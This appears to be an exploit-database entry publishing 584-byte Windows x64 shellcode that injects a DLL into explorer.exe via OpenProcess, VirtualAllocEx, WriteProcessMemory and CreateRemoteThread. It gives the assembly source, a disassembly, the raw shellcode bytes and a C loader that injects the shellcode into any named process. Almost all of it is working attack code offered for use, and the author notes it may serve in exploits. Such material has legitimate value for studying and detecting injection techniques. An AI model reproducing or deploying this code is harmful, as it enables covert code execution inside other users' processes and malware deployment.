Windows x64 - CreateRemoteThread() DLL Injection Shellcode (584 bytes)



EKU-ID: 6223 CVE: OSVDB-ID:
Author: Roziul Hasan Khan Shifat Published: 2017-01-17 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
 
    Title: Windows x64 dll injection shellcode (using CreateRemoteThread())
    Size: 584 bytes
    Date: 16-01-2017
    Author: Roziul Hasan Khan Shifat
    Tested On : Windows 7 x64
 
 
 
 
 
 
*/
 
 
 
//Note : i wrtie it for process injection
//It may work in exploit
 
 
 
/*
 
section .text
    global _start
_start:
xor r8,r8
push r8
push r8
 
mov [rsp],dword 'expl'
mov [rsp+4],dword 'orer'
mov [rsp+8],dword '.exe'
 
lea rcx,[rsp] ;;process name (explorer.exe) change it if U want
 
 
push r8
push r8
push r8
 
 
 
mov [rsp],dword 'C:\U'
mov [rsp+4],dword 'sers'
mov [rsp+8],dword '\Pub'
mov [rsp+12],dword 'lic\'
mov [rsp+16],dword 'in.d'
mov [rsp+20],word 'll'
 
lea rdx,[rsp]   ;path of the dll (change it to U full path of dll)
 
 
 
 
;--------------------------------------------------------
 
mov r8w,336
 
sub rsp,r8
lea r12,[rsp]
 
push 24
pop r8 ;(important: length of dll path string including null byte)
 
 
mov [r12],rcx ;process name
mov [r12+8],rdx ;dll path
mov [r12+16],r8 ;length of dll path string
 
;----------------------------------------------------------
 
 
 
 
 
_main:
 
cdq
mov rax,[gs:rdx+0x60] ;peb
mov rax,[rax+0x18] ;peb->Ldr
mov rsi,[rax+0x10] ;peb->Ldr.InMemOrderModuleList
lodsq
mov rsi,[rax]
mov rdi,[rsi+0x30] ;rdi=kernel32.dll base address
 
 
 
;------------------------------------------
mov dl,0x88
mov ebx,[rdi+0x3c] ;DOS_HEADER->elf_anew
add rbx,rdi ;IMAGE_OPTIONAL_HEADER32
mov ebx,[rbx+rdx] ;IMAGE_DATA_DIRECTORY->VirtualAddress
add rbx,rdi ;IMAGE_EXPORT_DIRECTORY (Export table of kernel32.dll)
 
mov esi,[rbx+0x1c] ;kenrel32.dll AddressOfFunction
add rsi,rdi
 
;-------------------------------------------------------
;loading msvcrt.dll
cdq
push rdx
mov dx,832
mov ebx,[rsi+rdx*4]
add rbx,rdi
 
 
mov [rsp],dword 'msvc'
mov [rsp+4],word 'rt'
 
lea rcx,[rsp]
 
sub rsp,88
 
call rbx
 
;-------------------------------
;Finding address of strcmp()
 
lea rdx,[rsp+88]
mov [rdx],dword 'strc'
mov [rdx+4],word 'mp'
 
mov rcx,rax
 
mov r8w,587*4
mov ebx,[rsi+r8]
add rbx,rdi
 
call rbx
;-----------------------------
mov [r12+24],rax ;address of strcmp()
;---------------------------------------------------------------
 
mov dx,190*4
mov ebx,[rsi+rdx]
add rbx,rdi ;CreateToolhelp32Snapshot()
 
;--------------------------------
 
;HANDLE WINAPI CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID)
xor rdx,rdx ;DWORD th32ProcessID
push 2
pop rcx ;DWORD dwFlags
call rbx
 
mov r13,rax ;HANDLE
cmp r13,-1
je __exit
;---------------------------------------------
mov dx,304
 
mov [r12+32],dword edx ;sizeof PROCESSENTRY32
 
 
 
mov dx,920*4
mov ebx,[rsi+rdx]
add rbx,rdi ;rbx=Process32First()
 
;WINBOOL WINAPI Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);
 
lea rdx,[r12+32] ;LPPROCESSENTRY32 lppe
mov rcx,r13 ;HANDLE hSnapshot
 
 
call rbx
 
cmp rax,1
jne __exit
 
;---------------------------------------------------
 
xor rdx,rdx
mov dx,922*4
mov r15d,[rsi+rdx]
add r15,rdi ;r15=Process32Next()
 
 
 
sub rsp,88
get_pid:
lea rcx,[r12+76] ;PROCESSENRY32.CHAR szExeFile[MAX_PATH=260]
mov rdx,[r12] ;process name
mov rbx,[r12+24] ;strcmp()
call rbx
 
xor rdx,rdx
cmp rax,rdx
jz inject
 
;WINBOOL WINAPI Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe)
mov rcx,r13
lea rdx,[r12+32]
call r15
 
cmp rax,1
je get_pid
 
leave
ret
 
 
 
 
 
 
 
 
 
 
__exit:
xor rdx,rdx
push rdx
mov dx,297*4
mov ebx,[rsi+rdx]
add rbx,rdi
 
pop rcx
call rbx
 
 
 
 
 
 
 
 
 
 
;--------------------------------------------------
;------------------------------------------------------
;inject function
inject:
 
xor rdx,rdx
push rdx
pop r10
 
mov r10w,899*4
mov ebx,[rsi+r10]
add rbx,rdi ;rbx=OpenProcess()
 
;WINBASEAPI HANDLE WINAPI OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId)
 
push rdx
pop rcx
 
mov r8d,[r12+40] ;PROCESSENTRY32.DWORD th32ProcessID
 
;0x1e84800a-0x1e65700b=2035711 (PROCESS_ALL_ACCESS)
 
mov ecx,0x1e84800a
sub ecx,0x1e65700b
 
call rbx
 
mov r13,rax  ;PROCESS HANDLE
cmp r13,-1
je __exit
;--------------------------------------------------------------------
 
mov dx,1279
mov ebx,[rsi+rdx*4]
add rbx,rdi ;VirualAlloc()
 
;WINBASEAPI LPVOID WINAPI VirtualAllocEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
sub rsp,88
 
mov rcx,r13 ;HANDLE hProcess
xor rdx,rdx ;LPVOID lpAddress
mov r8,[r12+16] ;SIZE_T dwSize
mov r9w,0x2fff
inc r9;DWORD flAllocationType = (MEM_COMMIT | MEM_RESERVE)
mov [rsp+32],byte 0x4 ;DWORD flProtect = PAGE_READWRITE
call rbx
 
mov r14,rax ;LPVOID address
xor rdx,rdx
cmp rax,rdx
jz __exit
 
 
;-----------------------------------------------------------------------------------
mov dx,1347
mov ebx,[rsi+rdx*4]
add rbx,rdi ;WriteProcessMemory()
sub rsp,88
xor rdx,rdx
;WINBASEAPI WINBOOL WINAPI WriteProcessMemory (HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten)
mov [rsp+32],rdx ;SIZE_T *lpNumberOfBytesWritten
mov rcx,r13 ;HANDLE hProcess
mov rdx,r14 ;LPVOID lpBaseAddress
mov r8,[r12+8] ;LPCVOID lpBuffer
mov r9,[r12+16] ;SIZE_T nSize
 
call rbx
 
 
 
cmp rax,1
jne __exit
 
;------------------------------------------------------------------------------------
mov dx,170*4
mov ebx,[rsi+rdx]
add rbx,rdi ;CreateRemoteThread()
 
xor rdx,rdx
sub rsp,88
;WINBASEAPI HANDLE WINAPI CreateRemoteThread (HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
 
mov rcx,r13 ;HANDLE hProcess
push rdx
push rdx
pop r8 ;SIZE_T dwStackSize
 
mov dx,832
mov r9d,[rsi+rdx*4]
add r9,rdi ;LPTHREAD_START_ROUTINE lpStartAddress (LoadLibraryA())
 
pop rdx ;LPSECURITY_ATTRIBUTES lpThreadAttributes
mov [rsp+32],r14 ;LPVOID lpParameter
mov [rsp+40],r8
mov [rsp+48],r8
call rbx
 
call __exit
 
;------------------------------------------------------------
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
*/
 
 
 
/*
 
 
 
dll_inj.obj:     file format pe-x86-64
 
 
Disassembly of section .text:
 
0000000000000000 <_start>:
   0:   4d 31 c0                xor    %r8,%r8
   3:   41 50                   push   %r8
   5:   41 50                   push   %r8
   7:   c7 04 24 65 78 70 6c    movl   $0x6c707865,(%rsp)
   e:   c7 44 24 04 6f 72 65    movl   $0x7265726f,0x4(%rsp)
  15:   72
  16:   c7 44 24 08 2e 65 78    movl   $0x6578652e,0x8(%rsp)
  1d:   65
  1e:   48 8d 0c 24             lea    (%rsp),%rcx
  22:   41 50                   push   %r8
  24:   41 50                   push   %r8
  26:   41 50                   push   %r8
  28:   c7 04 24 43 3a 5c 55    movl   $0x555c3a43,(%rsp)
  2f:   c7 44 24 04 73 65 72    movl   $0x73726573,0x4(%rsp)
  36:   73
  37:   c7 44 24 08 5c 50 75    movl   $0x6275505c,0x8(%rsp)
  3e:   62
  3f:   c7 44 24 0c 6c 69 63    movl   $0x5c63696c,0xc(%rsp)
  46:   5c
  47:   c7 44 24 10 69 6e 2e    movl   $0x642e6e69,0x10(%rsp)
  4e:   64
  4f:   66 c7 44 24 14 6c 6c    movw   $0x6c6c,0x14(%rsp)
  56:   48 8d 14 24             lea    (%rsp),%rdx
  5a:   66 41 b8 50 01          mov    $0x150,%r8w
  5f:   4c 29 c4                sub    %r8,%rsp
  62:   4c 8d 24 24             lea    (%rsp),%r12
  66:   6a 18                   pushq  $0x18
  68:   41 58                   pop    %r8
  6a:   49 89 0c 24             mov    %rcx,(%r12)
  6e:   49 89 54 24 08          mov    %rdx,0x8(%r12)
  73:   4d 89 44 24 10          mov    %r8,0x10(%r12)
 
0000000000000078 <_main>:
  78:   99                      cltd  
  79:   65 48 8b 42 60          mov    %gs:0x60(%rdx),%rax
  7e:   48 8b 40 18             mov    0x18(%rax),%rax
  82:   48 8b 70 10             mov    0x10(%rax),%rsi
  86:   48 ad                   lods   %ds:(%rsi),%rax
  88:   48 8b 30                mov    (%rax),%rsi
  8b:   48 8b 7e 30             mov    0x30(%rsi),%rdi
  8f:   b2 88                   mov    $0x88,%dl
  91:   8b 5f 3c                mov    0x3c(%rdi),%ebx
  94:   48 01 fb                add    %rdi,%rbx
  97:   8b 1c 13                mov    (%rbx,%rdx,1),%ebx
  9a:   48 01 fb                add    %rdi,%rbx
  9d:   8b 73 1c                mov    0x1c(%rbx),%esi
  a0:   48 01 fe                add    %rdi,%rsi
  a3:   99                      cltd  
  a4:   52                      push   %rdx
  a5:   66 ba 40 03             mov    $0x340,%dx
  a9:   8b 1c 96                mov    (%rsi,%rdx,4),%ebx
  ac:   48 01 fb                add    %rdi,%rbx
  af:   c7 04 24 6d 73 76 63    movl   $0x6376736d,(%rsp)
  b6:   66 c7 44 24 04 72 74    movw   $0x7472,0x4(%rsp)
  bd:   48 8d 0c 24             lea    (%rsp),%rcx
  c1:   48 83 ec 58             sub    $0x58,%rsp
  c5:   ff d3                   callq  *%rbx
  c7:   48 8d 54 24 58          lea    0x58(%rsp),%rdx
  cc:   c7 02 73 74 72 63       movl   $0x63727473,(%rdx)
  d2:   66 c7 42 04 6d 70       movw   $0x706d,0x4(%rdx)
  d8:   48 89 c1                mov    %rax,%rcx
  db:   66 41 b8 2c 09          mov    $0x92c,%r8w
  e0:   42 8b 1c 06             mov    (%rsi,%r8,1),%ebx
  e4:   48 01 fb                add    %rdi,%rbx
  e7:   ff d3                   callq  *%rbx
  e9:   49 89 44 24 18          mov    %rax,0x18(%r12)
  ee:   66 ba f8 02             mov    $0x2f8,%dx
  f2:   8b 1c 16                mov    (%rsi,%rdx,1),%ebx
  f5:   48 01 fb                add    %rdi,%rbx
  f8:   48 31 d2                xor    %rdx,%rdx
  fb:   6a 02                   pushq  $0x2
  fd:   59                      pop    %rcx
  fe:   ff d3                   callq  *%rbx
 100:   49 89 c5                mov    %rax,%r13
 103:   49 83 fd ff             cmp    $0xffffffffffffffff,%r13
 107:   74 60                   je     169 <__exit>
 109:   66 ba 30 01             mov    $0x130,%dx
 10d:   41 89 54 24 20          mov    %edx,0x20(%r12)
 112:   66 ba 60 0e             mov    $0xe60,%dx
 116:   8b 1c 16                mov    (%rsi,%rdx,1),%ebx
 119:   48 01 fb                add    %rdi,%rbx
 11c:   49 8d 54 24 20          lea    0x20(%r12),%rdx
 121:   4c 89 e9                mov    %r13,%rcx
 124:   ff d3                   callq  *%rbx
 126:   48 83 f8 01             cmp    $0x1,%rax
 12a:   75 3d                   jne    169 <__exit>
 12c:   48 31 d2                xor    %rdx,%rdx
 12f:   66 ba 68 0e             mov    $0xe68,%dx
 133:   44 8b 3c 16             mov    (%rsi,%rdx,1),%r15d
 137:   49 01 ff                add    %rdi,%r15
 13a:   48 83 ec 58             sub    $0x58,%rsp
 
000000000000013e <get_pid>:
 13e:   49 8d 4c 24 4c          lea    0x4c(%r12),%rcx
 143:   49 8b 14 24             mov    (%r12),%rdx
 147:   49 8b 5c 24 18          mov    0x18(%r12),%rbx
 14c:   ff d3                   callq  *%rbx
 14e:   48 31 d2                xor    %rdx,%rdx
 151:   48 39 d0                cmp    %rdx,%rax
 154:   74 24                   je     17a <inject>
 156:   4c 89 e9                mov    %r13,%rcx
 159:   49 8d 54 24 20          lea    0x20(%r12),%rdx
 15e:   41 ff d7                callq  *%r15
 161:   48 83 f8 01             cmp    $0x1,%rax
 165:   74 d7                   je     13e <get_pid>
 167:   c9                      leaveq
 168:   c3                      retq  
 
0000000000000169 <__exit>:
 169:   48 31 d2                xor    %rdx,%rdx
 16c:   52                      push   %rdx
 16d:   66 ba a4 04             mov    $0x4a4,%dx
 171:   8b 1c 16                mov    (%rsi,%rdx,1),%ebx
 174:   48 01 fb                add    %rdi,%rbx
 177:   59                      pop    %rcx
 178:   ff d3                   callq  *%rbx
 
000000000000017a <inject>:
 17a:   48 31 d2                xor    %rdx,%rdx
 17d:   52                      push   %rdx
 17e:   41 5a                   pop    %r10
 180:   66 41 ba 0c 0e          mov    $0xe0c,%r10w
 185:   42 8b 1c 16             mov    (%rsi,%r10,1),%ebx
 189:   48 01 fb                add    %rdi,%rbx
 18c:   52                      push   %rdx
 18d:   59                      pop    %rcx
 18e:   45 8b 44 24 28          mov    0x28(%r12),%r8d
 193:   b9 0a 80 84 1e          mov    $0x1e84800a,%ecx
 198:   81 e9 0b 70 65 1e       sub    $0x1e65700b,%ecx
 19e:   ff d3                   callq  *%rbx
 1a0:   49 89 c5                mov    %rax,%r13
 1a3:   49 83 fd ff             cmp    $0xffffffffffffffff,%r13
 1a7:   74 c0                   je     169 <__exit>
 1a9:   66 ba ff 04             mov    $0x4ff,%dx
 1ad:   8b 1c 96                mov    (%rsi,%rdx,4),%ebx
 1b0:   48 01 fb                add    %rdi,%rbx
 1b3:   48 83 ec 58             sub    $0x58,%rsp
 1b7:   4c 89 e9                mov    %r13,%rcx
 1ba:   48 31 d2                xor    %rdx,%rdx
 1bd:   4d 8b 44 24 10          mov    0x10(%r12),%r8
 1c2:   66 41 b9 ff 2f          mov    $0x2fff,%r9w
 1c7:   49 ff c1                inc    %r9
 1ca:   c6 44 24 20 04          movb   $0x4,0x20(%rsp)
 1cf:   ff d3                   callq  *%rbx
 1d1:   49 89 c6                mov    %rax,%r14
 1d4:   48 31 d2                xor    %rdx,%rdx
 1d7:   48 39 d0                cmp    %rdx,%rax
 1da:   74 8d                   je     169 <__exit>
 1dc:   66 ba 43 05             mov    $0x543,%dx
 1e0:   8b 1c 96                mov    (%rsi,%rdx,4),%ebx
 1e3:   48 01 fb                add    %rdi,%rbx
 1e6:   48 83 ec 58             sub    $0x58,%rsp
 1ea:   48 31 d2                xor    %rdx,%rdx
 1ed:   48 89 54 24 20          mov    %rdx,0x20(%rsp)
 1f2:   4c 89 e9                mov    %r13,%rcx
 1f5:   4c 89 f2                mov    %r14,%rdx
 1f8:   4d 8b 44 24 08          mov    0x8(%r12),%r8
 1fd:   4d 8b 4c 24 10          mov    0x10(%r12),%r9
 202:   ff d3                   callq  *%rbx
 204:   48 83 f8 01             cmp    $0x1,%rax
 208:   0f 85 5b ff ff ff       jne    169 <__exit>
 20e:   66 ba a8 02             mov    $0x2a8,%dx
 212:   8b 1c 16                mov    (%rsi,%rdx,1),%ebx
 215:   48 01 fb                add    %rdi,%rbx
 218:   48 31 d2                xor    %rdx,%rdx
 21b:   48 83 ec 58             sub    $0x58,%rsp
 21f:   4c 89 e9                mov    %r13,%rcx
 222:   52                      push   %rdx
 223:   52                      push   %rdx
 224:   41 58                   pop    %r8
 226:   66 ba 40 03             mov    $0x340,%dx
 22a:   44 8b 0c 96             mov    (%rsi,%rdx,4),%r9d
 22e:   49 01 f9                add    %rdi,%r9
 231:   5a                      pop    %rdx
 232:   4c 89 74 24 20          mov    %r14,0x20(%rsp)
 237:   4c 89 44 24 28          mov    %r8,0x28(%rsp)
 23c:   4c 89 44 24 30          mov    %r8,0x30(%rsp)
 241:   ff d3                   callq  *%rbx
 243:   e8 21 ff ff ff          callq  169 <__exit>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
*/
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
#include<stdio.h>
#include<windows.h>
#include<TlHelp32.h>
#include<string.h>
 
 
char shellcode[]="\x4d\x31\xc0\x41\x50\x41\x50\xc7\x04\x24\x65\x78\x70\x6c\xc7\x44\x24\x04\x6f\x72\x65\x72\xc7\x44\x24\x08\x2e\x65\x78\x65\x48\x8d\x0c\x24\x41\x50\x41\x50\x41\x50\xc7\x04\x24\x43\x3a\x5c\x55\xc7\x44\x24\x04\x73\x65\x72\x73\xc7\x44\x24\x08\x5c\x50\x75\x62\xc7\x44\x24\x0c\x6c\x69\x63\x5c\xc7\x44\x24\x10\x69\x6e\x2e\x64\x66\xc7\x44\x24\x14\x6c\x6c\x48\x8d\x14\x24\x66\x41\xb8\x50\x01\x4c\x29\xc4\x4c\x8d\x24\x24\x6a\x18\x41\x58\x49\x89\x0c\x24\x49\x89\x54\x24\x08\x4d\x89\x44\x24\x10\x99\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\xb2\x88\x8b\x5f\x3c\x48\x01\xfb\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01\xfe\x99\x52\x66\xba\x40\x03\x8b\x1c\x96\x48\x01\xfb\xc7\x04\x24\x6d\x73\x76\x63\x66\xc7\x44\x24\x04\x72\x74\x48\x8d\x0c\x24\x48\x83\xec\x58\xff\xd3\x48\x8d\x54\x24\x58\xc7\x02\x73\x74\x72\x63\x66\xc7\x42\x04\x6d\x70\x48\x89\xc1\x66\x41\xb8\x2c\x09\x42\x8b\x1c\x06\x48\x01\xfb\xff\xd3\x49\x89\x44\x24\x18\x66\xba\xf8\x02\x8b\x1c\x16\x48\x01\xfb\x48\x31\xd2\x6a\x02\x59\xff\xd3\x49\x89\xc5\x49\x83\xfd\xff\x74\x60\x66\xba\x30\x01\x41\x89\x54\x24\x20\x66\xba\x60\x0e\x8b\x1c\x16\x48\x01\xfb\x49\x8d\x54\x24\x20\x4c\x89\xe9\xff\xd3\x48\x83\xf8\x01\x75\x3d\x48\x31\xd2\x66\xba\x68\x0e\x44\x8b\x3c\x16\x49\x01\xff\x48\x83\xec\x58\x49\x8d\x4c\x24\x4c\x49\x8b\x14\x24\x49\x8b\x5c\x24\x18\xff\xd3\x48\x31\xd2\x48\x39\xd0\x74\x24\x4c\x89\xe9\x49\x8d\x54\x24\x20\x41\xff\xd7\x48\x83\xf8\x01\x74\xd7\xc9\xc3\x48\x31\xd2\x52\x66\xba\xa4\x04\x8b\x1c\x16\x48\x01\xfb\x59\xff\xd3\x48\x31\xd2\x52\x41\x5a\x66\x41\xba\x0c\x0e\x42\x8b\x1c\x16\x48\x01\xfb\x52\x59\x45\x8b\x44\x24\x28\xb9\x0a\x80\x84\x1e\x81\xe9\x0b\x70\x65\x1e\xff\xd3\x49\x89\xc5\x49\x83\xfd\xff\x74\xc0\x66\xba\xff\x04\x8b\x1c\x96\x48\x01\xfb\x48\x83\xec\x58\x4c\x89\xe9\x48\x31\xd2\x4d\x8b\x44\x24\x10\x66\x41\xb9\xff\x2f\x49\xff\xc1\xc6\x44\x24\x20\x04\xff\xd3\x49\x89\xc6\x48\x31\xd2\x48\x39\xd0\x74\x8d\x66\xba\x43\x05\x8b\x1c\x96\x48\x01\xfb\x48\x83\xec\x58\x48\x31\xd2\x48\x89\x54\x24\x20\x4c\x89\xe9\x4c\x89\xf2\x4d\x8b\x44\x24\x08\x4d\x8b\x4c\x24\x10\xff\xd3\x48\x83\xf8\x01\x0f\x85\x5b\xff\xff\xff\x66\xba\xa8\x02\x8b\x1c\x16\x48\x01\xfb\x48\x31\xd2\x48\x83\xec\x58\x4c\x89\xe9\x52\x52\x41\x58\x66\xba\x40\x03\x44\x8b\x0c\x96\x49\x01\xf9\x5a\x4c\x89\x74\x24\x20\x4c\x89\x44\x24\x28\x4c\x89\x44\x24\x30\xff\xd3\xe8\x21\xff\xff\xff";
 
 
void inject(DWORD );
int main(int i,char *a[])
{
    if(i!=2)
    {
        printf("Usage %s <program name>",a[0]);
        return 0;
    }
    
    BOOL f=0;
    HANDLE snap;
    PROCESSENTRY32 pe32;
    
    snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    
    if(snap==INVALID_HANDLE_VALUE)
    {
        printf("CreateToolhelp32Snapshot() Failed."); return 0;
    }
    
    pe32.dwSize=sizeof(pe32);
    
    if(!Process32First(snap,&pe32))
    {
        printf("Process32First() Failed."); return 0;
    }
    
    
    
    do
    {
        if(0==strncmp(a[1],pe32.szExeFile,strlen(pe32.szExeFile)))
        {
            f=TRUE;
            break;
        }
        
    }while(Process32Next(snap,&pe32));
    
    
    if(!f)
    {
        printf("No infomation found about \"%s\" ",a[1]);
    }
    else
    {
        printf("Program name:%s\nProcess id: %d",pe32.szExeFile,pe32.th32ProcessID);
        printf("\nInjecting shellcode");
        inject(pe32.th32ProcessID);
    }
    
    
    
    return 0;
    
}
 
 
 
void inject(DWORD pid)
{
    HANDLE phd,h;
    LPVOID shell;
    
    phd=OpenProcess(PROCESS_ALL_ACCESS,0,pid);
    
    if(phd==INVALID_HANDLE_VALUE)
    {
        printf("\nOpenProcess() Failed."); return ;
    }
    
    shell=VirtualAllocEx(phd,0,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    if(shell==NULL)
    {
        printf("\nVirtualAllocEx() Failed"); return ; CloseHandle(phd);
    }
    
    WriteProcessMemory(phd,shell,shellcode,sizeof(shellcode),0);
    printf("\nInjection successfull\n");
    printf("Running Shellcode......\n");
    
    h=CreateRemoteThread(phd,NULL,2046,(LPTHREAD_START_ROUTINE)shell,NULL,0,0);
    if(h==NULL)
    {
        printf("Failed to Run Shellcode\n"); return ;
    }
}